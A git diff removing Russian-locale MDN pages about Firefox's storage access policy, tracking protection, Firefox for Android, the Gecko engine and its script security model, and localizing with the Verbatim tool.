Если заблокированный ресурс не нуждается в аутентификации, вы можете исправить предупреждающее сообщение, добавив атрибут crossorigin="anonymous" к соответствующему элементу.

- -

Смотрите также

- - diff --git a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/index.html b/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/index.html deleted file mode 100644 index a1e1f54a75..0000000000 --- a/files/ru/mozilla/firefox/privacy/storage_access_policy/errors/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Errors -slug: Mozilla/Firefox/Privacy/Storage_access_policy/Errors -tags: - - Cookies - - Errors - - NeedsTranslation - - Storage - - TopicStub - - storage access policy -translation_of: Mozilla/Firefox/Privacy/Storage_access_policy/Errors ---- -
{{FirefoxSidebar}}
- -

This page lists the errors that can be raised due to Firefox's anti-tracking functionality, governed by the Storage access policy. You can find further information about them by clicking on the links below:

- -

A request to access cookies or storage was blocked because

- - diff --git a/files/ru/mozilla/firefox/privacy/storage_access_policy/index.html b/files/ru/mozilla/firefox/privacy/storage_access_policy/index.html deleted file mode 100644 index 1fc385d6e7..0000000000 --- a/files/ru/mozilla/firefox/privacy/storage_access_policy/index.html +++ /dev/null @@ -1,274 +0,0 @@ ---- -title: 'Storage access policy: Block cookies from trackers' -slug: Mozilla/Firefox/Privacy/Storage_access_policy -tags: - - NeedsTranslation - - Privacy - - TopicStub - - storage access policy - - tracking protection -translation_of: Mozilla/Firefox/Privacy/Storage_access_policy ---- -
{{FirefoxSidebar}}
- -

Firefox includes a new storage access policy that blocks cookies and other site data from third-party tracking resources. This new policy is designed as an alternative to the current policies, which have been available in Firefox for many years. The new policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking. This article explains how the new policy works and how you can test it.

- -

Testing in Firefox

- -

You can test how your website works under the new policy in Firefox version 63+. Those who want to test the absolute newest version of the policy can download Firefox Nightly, but note that Nightly may include versions of the policy that end up changing before they reach our Release users. You can enable it through the “Content Blocking” menu in the Control Center in Firefox:

- - - -

As this is an experimental policy, it will likely change as we discover site breakage and fix bugs. We’ll keep this page updated with the newest information.

- -

Report Broken Sites

- -

If you find a website broken as a result of this change, file a bug under the Tracking Protection component within the Firefox product on Bugzilla. Alternatively you can report a broken sites directly in Firefox by clicking "Report a Problem" in the Content Blocking section of the Control Center.

- -

diagram showing the report a problem button within the Content Blocking section of the Control Center

- -

Tracking protection explained

- -

How does Firefox determine which resources are tracking resources?

- -

Firefox uses the Tracking Protection list to determine which resources are tracking resources. The Tracking Protection list is maintained by Disconnect. When the list is applied in Firefox, we make two important changes:

- - - -

Firefox uses the built-in Tracking Protection URL classifier to determine which resources match the tracking protection list. Domains are matched against the list in accordance with the SafeBrowsing v4 specification. Specifically, we check the exact hostname of the resource against the list, as well as the last four hostnames formed by starting with the last five components and successively removing the leading component. Consider the following examples:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hostname on the listHostname of resourceMatched
example.comexample.comYes
example.coma.b.example.comYes
blah.example.comexample.comNo
a.b.example.comc.d.example.comNo
blah.example.comfoo.blah.example.comYes
- -

What does the storage access policy block?

- -

The storage access policy blocks resources identified as trackers from accessing their cookies and other site storage when they are loaded in a third-party context. This prevents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties. Specifically, Firefox does this by imposing the following restrictions:

- -

Cookies:

- - - -

DOM Storage:

- - - -

Messaging and Workers:

- - - -

DOM Cache:

- - - -

Browser caches:

- - - -

Network connections:

- - - -

What is not blocked by the policy?

- -
    -
  1. This policy does not currently restrict third-party storage access for resources that are not classified as tracking resources. We may choose to apply additional restrictions to third-party storage access in the future.
  2. -
  3. The restrictions applied by the policy will not prevent third-party scripts classified as tracking resources from accessing storage in the main context of the page. These scripts can continue to use storage scoped to the top-level origin.
  4. -
  5. Origins classified as trackers will have access to their own storage when they are loaded in a first-party context.
  6. -
  7. Cross-origin resources loaded from the same eTLD+1 as the top-level context will still have access to their storage.
  8. -
  9. Origins normally classified as trackers will not be blocked if the top-level page origin is determined to be from the same organization as them.
  10. -
- -

Storage access grants

- -

In order to improve web compatibility and permit third-party integrations that require storage access, Firefox will grant storage access scoped to the first party for a particular third-party origin as described in this section. Currently, Firefox includes some web compatibility heuristics that grant storage access to third-party resources classified as trackers when a user interacts with those third parties. We do this when we expect that not granting access would cause the web page to break. We also support an initial implementation of the Storage Access API, through which embedded {{htmlelement("iframe")}}s can request storage access by calling {{domxref("Document.requestStorageAccess()")}}. Although both of these approaches provide the same level of storage access, we recommend third parties switch to using the Storage Access API in order to guarantee their access to storage.

- -

Automatic storage access upon interaction

- -

In order to improve web compatibility, Firefox currently includes some heuristics to grant storage access automatically to third parties that receive user interaction. These heuristics are intended to allow some third-party integrations that are common on the web to continue to function. They are intended to be temporary and will be removed in a future version of Firefox. They should not be relied upon for current and future web development.

- -

Third-party storage access may be granted to resources that have been classified as tracking resources when a user gesture triggers a pop-up window that has opener access to the originating document. When that occurs, there are two possible ways a third-party origin can be granted access:

- - - -

Scope of storage access

- -

When storage access is granted, it is scoped to the origin of the opener document or subdomains of that origin. Access that is granted on the subdomain of an origin does not extend to the top-level origin. As an example, if a resource from tracker.example is granted storage access on foo.example.com, then tracker.example will be able to access its cookies on bar.foo.example.com but not example.com. Instead, if tracker.example were granted access on example.com it would be able to access its storage on bar.foo.example.com, foo.example.com, and example.com.

- -

When storage access is granted to tracker.example on example.com, all resources loaded from tracker.example on any top-level document loaded from example.com are immediately given storage access. This includes all resources loaded in the main context of the page, embedded <iframe>s, and resources loaded within embedded <iframe>s. Storage access is not extended to other resources loaded on example.com (e.g. other-tracker.example), nor to other first parties on which tracker.example is embedded (e.g. example.org).

- -

Storage access grants extend into the first level of nested contexts, but no further. This means that <iframe>s embedded in the main context of the page and loaded from a domain classified as a tracker will have full access to all storage locations accessible through JavaScript. Similarly, requests for resources loaded in <iframe>s embedded in the main context of the page will have access to HTTP cookies. However, further nested contexts, including but not limited to those from the origin classified as a tracker, will not be granted storage access.

- -

Consider the following embedding scenarios on a top-level page loaded from example.com on which tracker.example has been granted storage access.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Embeddingtracker.example resource storage access
An image is loaded from tracker.example and embedded in the main context of example.com.HTTP: Yes
- JS: N/A
example.com embeds an <iframe> from example.org. That <iframe> goes on to load an image from tracker.example.HTTP: Yes
- JS: N/A
example.com embeds an <iframe> from example.org. That <iframe> goes on to embed an <iframe> from tracker.example.HTTP: Yes
- JS: No
example.com embeds an <iframe> from tracker.example.HTTP: Yes
- JS: Yes
example.com embeds an <iframe> from example.com (same origin). The nested <iframe> embeds an <iframe> from tracker.example.HTTP: Yes
- JS: No
- -

Storage access expiration

- -

The storage access grant expires after 30 days. Domains classified as tracking resources may be granted third-party storage access on multiple first parties, and the storage permission for each party expires independently. The above heuristics will also serve to extend the lifetime of a third-party storage permission on origins that have already been granted access.  Each time the heuristic is activated, or a success call to the Storage Access API is made, the pre-existing storage access expiration will be extended by 30 days, counting from the time the previous access was granted.

- -

Please note that in the future we expect to make changes to how long storage access will remain valid for.  As mentioned before, the way to know that you will be able to use storage as a third-party going forward will be using the Storage Access API.

- -

Debugging

- -

We encourage site owners to test their sites, particularly those that rely on third-party content integrations. We’ve added several new features to Firefox to make testing easier.

- -

Developer Tools notifications

- -

The Network Monitor in Firefox Developer Tools now includes an indicator for all resource requests that have been classified as tracking resources. This indicator is shown as a shield icon in the domain column. In the sample image below, trackertest.org is classified as a tracking resource, while the request to example.com is not.

- -

network requests in Firefox devtools indicating which ones are tracking resources with a small shield icon

- -

Adding custom domains to the Tracking Protection list

- -

Curious how things will work if a third-party domain on your site were classified as a tracker? We’ve added a preference that allows you to add custom domains to the Tracking Protection URL classifier. To do so:

- -
    -
  1. Type about:config in your address bar. If you are presented with a page that warns you "This may void your warranty!", click "I accept the risk!"
  2. -
  3. Right click on the next page and click "New" > "String".
  4. -
  5. For the preference name enter "urlclassifier.trackingAnnotationTable.testEntries".
  6. -
  7. For the preference value enter comma separated origins that you’d like to have classified as trackers. E.g. "example.net,example.org".
  8. -
- -
-

Warning: Be sure to remove these entries after you have finished testing.

-
- -

FAQ

- -

This cookie policy has the potential to lead to site breakage, but has been designed to allow common third-party integrations to continue to work while preventing cross-site tracking. In this section we describe the functionality you can expect in different integration scenarios.

- -

Will this storage access policy block ads from displaying on my website?

- -

No — this feature only restricts access to cookies and site data that can be used to track users across websites. Blocking tracking identifiers does not prevent the display of advertisements.

- -

I use a third-party analytics service that is classified as a tracker. Will I still receive analytics data?

- -

This depends on how the third-party analytics service is implemented. Third-party analytics providers will no longer be able to user their third-party storage to collect data. This means that providers using cookies which are scoped to their third-party domain, or local storage and other site data stored under their origin, will no longer have access to those identifiers across other websites.

- -

If these services are embedded into the main context of the page, they can continue to use first-party cookies and site storage to track users across page visits on that specific first-party domain.

- -

I use third-party services for social login, like, and share button integration. Will my users still be able to make use of these services?

- -

This depends on how the social integration is implemented. We expect that many of the popular social integrations will continue to function as they do under Firefox’s current cookie policy with some minor differences in the user experience.

- -

A social content provider that is classified as a tracker will not have access to their third-party cookies when the user first visits a new first party. Thus, the user may appear logged out to the service despite being logged in when they visit the provider’s website directly. Depending on the type of integration, the user may have to take some action to interact with the social content provider before the provider is given access to their cookies. For example:

- - - -

After these interactions, the provider will receive third-party storage access if they prompt the user in a way that is captured by the storage access activation heuristics described above. These providers should consider switching to explicitly request storage access through the Storage Access API as soon as possible. An initial implementation of this API is currently available in Nightly.

- -

 

- -

I use third-party pixels and other tools to measure the effectiveness of my ad campaigns. Will I still be able to measure the conversion rate of my ads?

- -

This depends on how the third party has implemented the measurement tool, but generally ad conversion measurement will be more difficult. Consider the following examples:

- -
    -
  1. You run an ad on a social media website that is seen several times by a user, but never clicked. That user later visits your website, which includes a conversion tracking tag from the same social media website. This type of conversion is often referred to as a “view-through conversion.” Since the social media website does not have access to their third-party storage, they will not recognize the user as the same user that saw the advertisements on their website and the conversion will not be tracked. We expect that most view-through conversion tracking techniques will no longer work, including those offered by display networks.
  2. -
  3. You run an ad on a display network or social media website that is clicked by a user. That user lands on your website, which includes a conversion tracking tag from the same website that displayed your ad. This type of conversion is often referred to as a “click-through conversion.” Since the social media site or display network will not have access to their third-party storage, they will not recognize the user as the same user that saw the advertisements on their website and the conversion will not be tracked. We expect that this version of click-through conversion will no longer work.
  4. -
  5. You run an ad that appears on a social media website. A user clicks on your advertisement and is taken to a landing page that contains a conversion tracking tag from the third-party network. On the social media website, the network annotates the advertisement landing page URL with a query parameter that signals that the visit was the result of a click on an advertisement. On your website, the display network’s tag checks the URL query parameters and saves any ad tracking parameters to first-party storage. If a user later completes a conversion event, the network’s tag checks first-party storage to determine which click (or clicks) was responsible for the visit. We expect that click-through conversion implemented in this way will continue to work.
  6. -
- -

 

- -

 

diff --git a/files/ru/mozilla/firefox/privacy/tracking_protection/index.html b/files/ru/mozilla/firefox/privacy/tracking_protection/index.html deleted file mode 100644 index c8124052d6..0000000000 --- a/files/ru/mozilla/firefox/privacy/tracking_protection/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Tracking Protection -slug: Mozilla/Firefox/Privacy/Tracking_Protection -tags: - - Отслеживание -translation_of: Mozilla/Firefox/Privacy/Tracking_Protection ---- -
{{FirefoxSidebar}}
- -

Что такое защита от отслеживания?

- -

Начиная с версии 42, Firefox Desktop и Firefox for Android включает в себя встроенную защиту от отслеживания. В приватном окне браузера (вкладки в Firefox for Android), Firefox будет блокировать содержимое, загружаемое с тех доменов, которые отслеживают запросы пользователей на сайтах.

- -

Некоторый заблокированный контент является частью макета страницы, и пользователи могут заметить проблемы с разметкой, когда Firefox заблокировал эти трекеры. Иногда пользователи вообще не замечают, если сетка страниц работает так, что другие элементы страницы скользят, чтобы заполнить дыры, оставленные заблокированными элементами.

- -

Когда Firefox блокирует содержимое, в Web-консоли появляется сообщение следующего типа:

- -
Ресурс на «https://some/url» был заблокирован, так как включена блокировка содержимого.
- -

Обратите внимание, что с Firefox для Android вы можете получить доступ к выводу консоли, используя удаленный отладчик.

- -

Пользовательский интерфейс Firefox укажет пользователям, когда контент был заблокирован, и позволит им разблокировать его для текущего сеанса, если они захотят. Пользователи также смогут полностью отключить защиту от слежения, если захотят.

- -

Каким образом Firefox выбирает содержимое для блокировки?

- -

Контент блокируется в зависимости от домена, с которого он должен быть загружен.

- -

Firefox включает в себя список сайтов, которые были идентифицированы как участвующие в перекрестном отслеживании пользователей. Когда защита от отслеживания активна, Firefox будет блокировать содержимое тех сайтов, которые находятся в списке

- -

Сайты которые отслеживают запросы пользователей чаще всего являются сторонними рекламными и аналитическими сайтами.

- -

Что это значит для вашего сайта?

- -

Очевидно, это означает, что при включенной защите от отслежения:

- - - -

То есть, если другие части вашего сайта зависят от загружаемых трекеров, то эти части также будут повреждены, когда включена защита от трекинга. Например, если ваш сайт содержит функцию обратного вызова, которая запускается при загрузке контента с сайта отслеживания, обратный вызов не будет выполнен.

- -

Но учтите, что зависимость от третьей стороны не является хорошей практикой, так как это означает, что ваш сайт может быть поврежден, если эта самая сторона работает медленно или вовсе недоступна, или если трекер заблокирован надстройкой.

diff --git "a/files/ru/mozilla/firefox_\320\264\320\273\321\217_android/index.html" "b/files/ru/mozilla/firefox_\320\264\320\273\321\217_android/index.html" deleted file mode 100644 index 475994098f..0000000000 --- "a/files/ru/mozilla/firefox_\320\264\320\273\321\217_android/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Firefox для Android -slug: Mozilla/Firefox_для_Android -tags: - - Fennec - - Firefox - - Андроид - - Мобильный -translation_of: Mozilla/Firefox_for_Android ---- -

Всебольше и больше людей используют мобильные устройства как основной или даже единственный способ получить доступ к Интернету. Firefox for Android (codenamed Fennec) является открытым, основанным на тех же стандартах браузер, что и тот, который на вашем рабочем столе Firefox.

-

Firefox для Android строит свой пользовательский интерфейс из родных Android виджетов вместо XUL: это значительно повышает производительность при запуске, и потребление памяти.

-

Содействие Firefox для Android

-

Отправной точкой для получения информации о проекте Firefox дляAndroid, является проект "Get Involved" page.

-

Вы можете помочь нам создать и улучшить Firefox for Android:

- -

Разработка для мобильного Интернета

-

Мы начали совместное руководство по designing web sites for mobile devices.

-

С Firefox for Android, у вас есть доступ к нескольким API, которые предоставляют основные возможности устройства, закрывая разрыв между веб и родными приложениями:

- -

Чтобы проверить веб-сайт на Firefox для Android, вы можете install it on an Android device или run it on your desktop using the Android Emulator.

-

Создание мобильных дополнений

-

Firefox for Android supports add-ons использует точно такой же extension system как и во всех других приложениях на основе Gecko. Мы не изобретали новую дополнительную систему. Это означает, что для создания дополнения для Firefox на Android является same process которые будут использованы для рабочего стола Firefox. Дополнения, которые работают с настольным Firefox не смогут работать в Firefox на Android. Пользовательские которых просто слишком разные.

-
- Firefox на Android имеет уникальный идентификатор приложения, которые должны быть использованы в install.rdf.  Идентификатор {aa3c5121-dab2-40e2-81ca-7ea25febc110}
-

Как классическое Restart-требобание так и новое restartless  является дополнением поддержки. Использование restartless предпологает выполнить деуствие когда оно возможно, потому что пользователь на много раньше заставляет приложение выполнить restart при установке или удалении дополнение.

-

Краткая информация

- -

Получить помощь с Firefox for Android

-

Документация и учебные пособия для использования и поиска неисправностей Firefox for Android доступны на Mozilla Support website.

- - - diff --git a/files/ru/mozilla/gecko/index.html b/files/ru/mozilla/gecko/index.html deleted file mode 100644 index 1d45f608b7..0000000000 --- a/files/ru/mozilla/gecko/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Gecko -slug: Mozilla/Gecko -tags: - - Gecko - - Layout Engine - - Mozilla - - Браузерный движок -translation_of: Mozilla/Gecko ---- -

Gecko — название движка отрисовки веб-страниц, разработанного в рамках проекта Mozilla. Изначально он назывался NGLayout.

- -

Функциональность Gecko включает в себя чтение такого веб-содержимого, как HTML, CSS, XUL, JavaScript, и его отрисовку на экране пользователя или печать. В приложениях, основанных на XUL, Gecko также используется для отрисовки пользовательского интерфейса.

- -

Gecko используется во многих приложениях, в том числе нескольких веб-браузерах — таких как Firefox, SeaMonkey, Camino и т. д. (полный список см. в статье о Gecko на Википедии). Продукты, использующие одну и ту же версию Gecko, обладают одинаковой поддержкой стандартов.

- - - - - - - - -
-

Документация

- -
-
Вопросы и ответы
-
Часто задаваемые вопросы о Gecko.
-
Справочник по DOM в Gecko
-
Справочная информация о DOM.
-
Справочник по событиям, специфичным для Gecko
-
Справочная информация о нестандартных событиях, используемых в Gecko и приложениях Mozilla; информацию о стандартных DOM-событиях см. в справочнике по событиям DOM.
-
Версии Gecko и приложений
-
Версии Gecko и приложений, в которых они используются.
-
Введение в отрисовку страниц в Mozilla
-
Техническая информация об отрисовке страниц.
-
Использование движка Mozilla
-
Использование Gecko в ваших собственных приложениях.
-
Кодировки текста, поддерживаемые Gecko
-
Список кодировок текста, поддерживаемых Gecko.
-
Многопоточный разбор HTML
-
Описание использования многопоточности при разборе HTML-кода.
-
{{interwiki('wikimo', 'Gecko:Home_Page', 'Главная страница Mozilla-вики')}}
-
Отправная точка для действующих разработчиков. Планы и дополнительные актуальные ресурсы.
-
- -

Показать всё…

-
-

Сообщество

- -
    -
  • Перейти на форумы Mozilla… {{DiscussionList("dev-tech-layout", "mozilla.dev.tech.layout")}}
  • -
- - - -
-
Веб-стандарты, XUL, внедрение Mozilla в сторонние приложения, разработка с помощью Mozilla
-
-
diff --git a/files/ru/mozilla/gecko/script_security/index.html b/files/ru/mozilla/gecko/script_security/index.html deleted file mode 100644 index 6bd1b1bf07..0000000000 --- a/files/ru/mozilla/gecko/script_security/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: Script security -slug: Mozilla/Gecko/Script_security -translation_of: Mozilla/Gecko/Script_security ---- -
-

An overview of the script security architecture in Gecko.

-
- -

Like any Web browser, Gecko loads JavaScript from untrusted and potentially hostile web pages, and runs it on the user's computer. The security model for web content is based on the same-origin policy, in which code gets full access to objects from the same origin but highly restricted access to objects from a different origin. The rules for determining whether an object is same-origin with another, and what access is allowed cross-origin, are now mostly standardized across browsers.

- -

Gecko has an additional problem, though: while its core is written in C++, the front-end code is itself written in JavaScript. This JavaScript code, which is commonly referred to as chrome code, runs with system privileges. If it is compromised, the attacker can take over the user's computer. Extensions also run with chrome privileges.

- -

Having the browser front-end in JavaScript has benefits: it can be much quicker to develop in JavaScript than in C++, and contributors do not need to learn C++. However, JavaScript is a highly dynamic, malleable, language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web content. From the point of view of chrome code, the script security model in Gecko is intended to provide that help, so writing secure, system-privileged JavaScript can be a realistic expectation.

- -

Security policy

- -

Gecko implements the following security policy:

- - - -

Compartments

- -

Compartments are the foundation for Gecko's script security architecture. A compartment is a specific, separate area of memory. In Gecko, there's a separate compartment for every global object. This means that each global object and the objects associated with it live in their own region of memory.

- -

- -

Normal content windows are globals, of course, but so are chrome windows, Sandboxes, Workers, the ContentFrameMessageManager in a frame script, and so on.

- -

Gecko guarantees that JavaScript code running in a given compartment is only allowed to access objects in the same compartment. When code from compartment A tries to access an object in compartment B, Gecko gives it a cross-compartment wrapper. This is a proxy in compartment A for the real object, which lives in compartment B.

- -

- -

Inside the same compartment, all objects share a global and are therefore same-origin with each other. Therefore there's no need for any security checks, there are no wrappers, and there is no performance overhead for the common case of objects in a single window interacting with each other.

- -

Whenever cross-compartment access happens, the wrappers enable us to implement the appropriate security policy. Because the wrapper we choose is specific to the relationship between the two compartments, the security policy it implements can be static: when the caller uses the wrapper, there's no need to check who is making the call or where it is going.

- -

Cross-compartment access

- -

Same-origin

- -

As we've already seen, the most common scenario for same-origin access is where objects belonging to the same window object interact. This all takes place within the same compartment, with no need for security checks or wrappers.

- -

When objects share an origin but not a global - for example two web pages from the same protocol, port, and domain - they belong to two different compartments, and the caller gets a transparent wrapper to the target object.

- -

- -

Transparent wrappers allow access to all the target's properties: functionally, it's just as if the target is in the caller's compartment.

- -

Cross-origin

- -

If the two compartments are cross-origin, the caller gets a cross-origin wrapper.

- -

- -

This denies access to all the object's properties, except for a few properties of Window and Location objects, as defined by the same-origin policy.

- -

Privileged to unprivileged code

- -

The most obvious example of this kind of security relation is between system-privileged chrome code and untrusted web content, but there are other examples in Gecko. The Add-on SDK runs content scripts in sandboxes which are initialized with an expanded principal, giving them elevated privileges with respect to the web content they operate on, but reduced privileges with respect to chrome.

- -

If the caller has a higher privilege than the target object, the caller gets an Xray wrapper for the object.

- -

- -

Xrays are designed to prevent untrusted code from confusing trusted code by redefining objects in unexpected ways. For example, privileged code using an Xray to a DOM object sees only the original, native version of the DOM object. Any expando properties are not visible, and if any native DOM properties have been redefined, this is not visible in the Xray.

- -

The privileged code is able to waive Xrays if it wants unfiltered access to the untrusted object.

- -

See Xray vision for much more information on Xrays.

- -

Unprivileged to privileged code

- -

If the caller has lower privileges than the target object, then the caller gets an opaque wrapper.

- -

- -

An opaque wrapper denies all access to the target object.

- -

However, the privileged target is able to copy objects and functions into the less-privileged scope using the exportFunction() and cloneInto() functions, and the less-privileged scope is then able to use them.

- -

Security checks

- -

To determine the security relation between two compartments, Gecko uses two concepts: security principals and the act of subsuming. To establish the security relationship between two compartments A and B, Gecko asks:

- -

Does the security principal for compartment A subsume the security principal for compartment B, and vice versa?

- -

Subsumes

- - - - - - - - - - - - - - - - - - - - -
A subsumes BA has all of the privileges of B, and possibly more, and therefore A is allowed to see and do anything that B can see and do.
A Subsumes B && B Subsumes AA and B are same-origin.
A Subsumes B && B !Subsumes A -

A is more privileged than B.

- -

A gets access to all of B, by default with Xray vision, which it may choose to waive.

- -

B gets no access to A, although A may choose to export objects to B.

-
A !Subsumes B && B !Subsumes AA and B are cross-origin.
- -

Security principals

- -
There are four types of security principal: the system principal, content principals, expanded principals, and the null principal.
- -
 
- -

System principal

- -

The system principal passes all security checks. It subsumes itself and all other principals. Chrome code, by definition, runs with the system principal, as do frame scripts.

- -

Content principal

- -

A content principal is associated with some web content and is defined by the origin of the content. For example, a normal DOM window has a content principal defined by the window's origin. A content principal subsumes only other content principals with the same origin. It is subsumed by the system principal, any expanded principals which include its origin, and any other content principals with the same origin.

- -

Expanded principal

- -

An expanded principal is specified as an array of origins:

- -
["http://mozilla.org", "http://moz.org"]
- -

The expanded principal subsumes every content principal it contains. The content principals do not subsume the expanded principal, even if the expanded principal only contains a single content principal.

- -

Thus ["http://moz.org"] subsumes "http://moz.org" but not vice versa: so the expanded principal gets full access to the content principals it contains, with Xray vision by default, and the content principals get no access to the expanded principal.

- -

This also enables the script security model to treat compartments with expanded principals more like part of the browser than like web content. This means, for example, that it can run when JavaScript is disabled for web content.

- -

Expanded principals are useful when we want to give code extra privileges, including cross-origin access, but don't want to give it full system privileges. For example, they're used in the Add-on SDK to give content scripts cross-domain privileges for a predefined set of domains, and to protect content scripts form access by untrusted web content, without having to give content scripts system privileges.

- -

Null principal

- -

The null principal fails almost all security checks. It has no privileges and can't be accessed by anything but itself and chrome. It subsumes no other principals, even other null principals.

- -

Principal relationships

- -

The diagram below summarizes the relationships between the different principals. The arrow connecting principals A and B means "A subsumes B":

- -

- -

Computing a wrapper

- -

The following diagram shows the factors that determine what kind of wrapper compartment A would get when trying to access an object in compartment B.

- -

diff --git a/files/ru/mozilla/localization/index.html b/files/ru/mozilla/localization/index.html deleted file mode 100644 index cf5ed0136d..0000000000 --- a/files/ru/mozilla/localization/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Локализация Mozilla -slug: Mozilla/Localization -tags: - - Локализация - - Перевод -translation_of: Mozilla/Localization ---- -

Локализация (L10n от англ. Localization) — это процесс перевода интерфейсов пользователя программного обеспечения с одного языка на другой и их адаптации под иностранную культуру. Эта инфорация предназначена для тех, кому требуется узнать технические аспекты реализации локализации. Информация, размещенная в этом разделе, предназначена для разработчиков и участников сообщества Mozilla.

- -

См. также

- -
-
Локализация MDN
-
О переводе документации, находящейся здесь, на MDN.
-
Локализация приложений
-
Руководство по локализации приложений, например, приложений для Firefox OS.
-
L10n
-
Справочные материалы по API «L10n», используемому Mozilla для локализации Firefox OS.
-
diff --git a/files/ru/mozilla/localization/localizing_with_verbatim/index.html b/files/ru/mozilla/localization/localizing_with_verbatim/index.html deleted file mode 100644 index 3ecd5e692d..0000000000 --- a/files/ru/mozilla/localization/localizing_with_verbatim/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Локализация с Verbatim -slug: Mozilla/Localization/Localizing_with_Verbatim -tags: - - Verbatim - - Локализация - - Перевод -translation_of: Mozilla/Localization/Localizing_with_Pontoon ---- -

Verbatim — веб-инструмент (точнее, используемый Mozilla экземпляр Pootle) ​​для локализации веб-контента Mozilla.  Он может быть использован для локализации разнообразных проектов Mozilla и способен поддерживать любой язык.  Это руководство покажет вам, как делается локализация обычного веб-проекта Mozilla. Учебник даст вам прочную основу для использования Verbatim при локализации любого веб-проекта Mozilla, который вы хотите локализовать вместе с вашим сообществом.  Мы расскажем, для каких именно проектов сейчас используется Verbatim, как приступить к работе с ним, и какие задачи обычно решаются с его помощью.

- -

Приступая к работе с Verbatim

- -

Будучи веб-интерфейсом, Verbatim требует наличия интернет-соединения. Существует два способа начать работу с Verbatim: начать новую локализацию или присоединиться к существующему сообществу локализации. В любом случае, вам нужно будет выполнить следующие действия, чтобы начать работать на Verbatim проекте.

- - - - - - - - - - - - - - - - - - - - - - -
Начать новую локализацию в VerbatimПодключиться к существующей локализации в Verbatim
-
    -
  1. Откройте в вашем браузере http://localize.mozilla.org. Там находится Verbatim.
  2. -
-
-
    -
  1. Откройте в вашем браузере http://localize.mozilla.org. Там находится Verbatim.
  2. -
-
-
    -
  1. Если у вас есть аккаунт Mozilla LDAP войдите в систему используя LDAP полномочия. Если нет, зарегистрируйте учетную запись и войдите. Ссылки для того и другого расположены в правом верхнем углу страницы.
  2. -
-
-
    -
  1. Если у вас есть аккаунт Mozilla LDAP войдите в систему, используя LDAP полномочия. Если нет, зарегистрируйте учетную запись и войдите. Ссылки для того и другого расположены в правом верхнем углу страницы.
  2. -
-
-
    -
  1. Создайте баг-заявку с помощью этого заранее сделанного шаблона. Добавьте код локали и название языка в поле описания, а также любую другую информацию, которой вы хотели бы поделиться. См. следующий пример (хотя он, возможно, должен быть на английском — тогда см. в английской версии статьи).
  2. -
- -
Пример: Я хотел бы попросить вас добавить en-US в качестве новой локализации в Verbatim. Язык — русский. Кроме того, я хотел печенье. Много-много печенья. Я легко приму любые хлебобулочные изделия.
-
-
    -
  1. Свяжитесь с сообществом, чтобы выяснить, на каких проектах желательно сосредоточить свои усилия. См. в следующем примере, что можно написать в вашем e-mail лидерам сообщества.
  2. -
- -
Пример: Я хотел бы присоединиться к вам в работе над этой локалью с помощью Verbatim. С чего мне лучше начать? Кроме того, я хотел бы купить вам выпивку, чтобы побудить вас позволить мне присоединиться к команде!
-
- -

Теперь, когда вы зарегистрировались и вошли, мы обрисуем общий рабочий процесс перевода, используя как пример страницу проекта MDN.

- -

Перевод

- -

Первое, что вам нужно — найти исходные непереведенные строки для перевода.

- -
    -
  1. Перейдите на страницу проекта MDN.
  2. -
  3. Выберите язык на вкладке Обзор.
  4. -
  5. Теперь нажмите на вкладку Translate (Перевод). Эта вкладка будет показывать каталоги для пользовательского интерфейса MDN.
  6. -
  7. Выберите каталог LC Messages.  Там находятся .po-файлы проекта со переводимыми строками.  Теперь вы увидите обзор каждого .po-файла.
  8. -
  9. В сводной колонке будет в виде ссылке показано количество непереведённых слов.  Нажмите на эту ссылку, чтобы оказаться непосредственно на первой строке, нуждающейся в переводе.
  10. -
- -

Теперь вы готовы внести свой вклад в переводы, невероятно, как это просто. Проверьте это так, вы можете переводить в два простых шага:

- -
    -
  1. Просто введите ваш перевод в поле ниже английской строки
  2. -
  3. Выберите Suggest. Если у вас есть право подтверждать, выберите Submit. Вы будете перемещены к следующей строке, нуждающейся в переводе.
  4. -
  5. Ура!  Вы переводите!  Повторяйте шаги один и два с оставшимися непереведёнными строками.
  6. -
- -
Примечание: Если вам попадётся строка, у которой уже есть Предлагаемый перевод, вы всё равно можете предложить свой собственный перевод, если вы чувствуете, что он является более точным.
- -

Некоторые интересные функции на Verbatim

- -

Вот несколько дополнительных пунктов об интерфейсе Verbatim, которые полезно знать. Некоторые из них можно увидеть в скриншоте ниже.

- -

Translate Tab.png

- - - -

Дополнительные задачи

- -

Если вы локализатор с привилегиями одобрения, вот еще несколько задач, которые вы должны знать.

- -

Обзор предлагаемых переводов

- -
    -
  1. Кликните вкладку Review.  Она покажет, сколько строк ждут рассмотрения для каждого .po-файла.Review Tab1.png
  2. -
  3. Выберите Review suggestions чтобы утверждить предложение. Это приведет вас к первой строке, которая должна быть пересмотрена.
  4. -
  5. Вы можете принять предложение, нажав на зеленую галочку или отклонить предложение нажав красный X (см скриншот из предыдущего раздела).
  6. -
- -

Важно отметить, что только представленные строки появятся в ваших локализованных страницах. Не предложеные в  fuzzy строки. Перед принятием своего окончательного локализованного продукта, убедитесь, что все строки были представлены.

- -

Использование VCS на Verbatim

- -

VCS (Version Control System) это системное хранилище используемое для обновления строки проекта, а также продвижение Вашего переведенного контента на веб. Разница между этими двумя задачами просто материя, из которой ссылаются на кнопку мыши.

- -

VCS.pngЧтобы протолкнуть ваши строки в Интернет, и увидеть изменения, просто выберите Commit to VCS ссылка под каждым именем файла. Это, как правило, занимает около часа, прежде чем вы можете увидеть изменения на сайте проекта.

- -

Чтобы обновить .po файлы с новыми непереведенными строками, просто выберите Update from VCS ссылка под каждым именем файла.

- -

 

- -

-Примечание: Некоторые проекты автоматически обновляются каждый вечер в то время как другие требуют, обновлять их в ручную чтобы получить новое содержание источника. Обратите на это пристальное внимание, так как это может изменить ваш рабочий процесс.
- -

Перевод файлов Verbatim с помощью внешнего приложения

- -

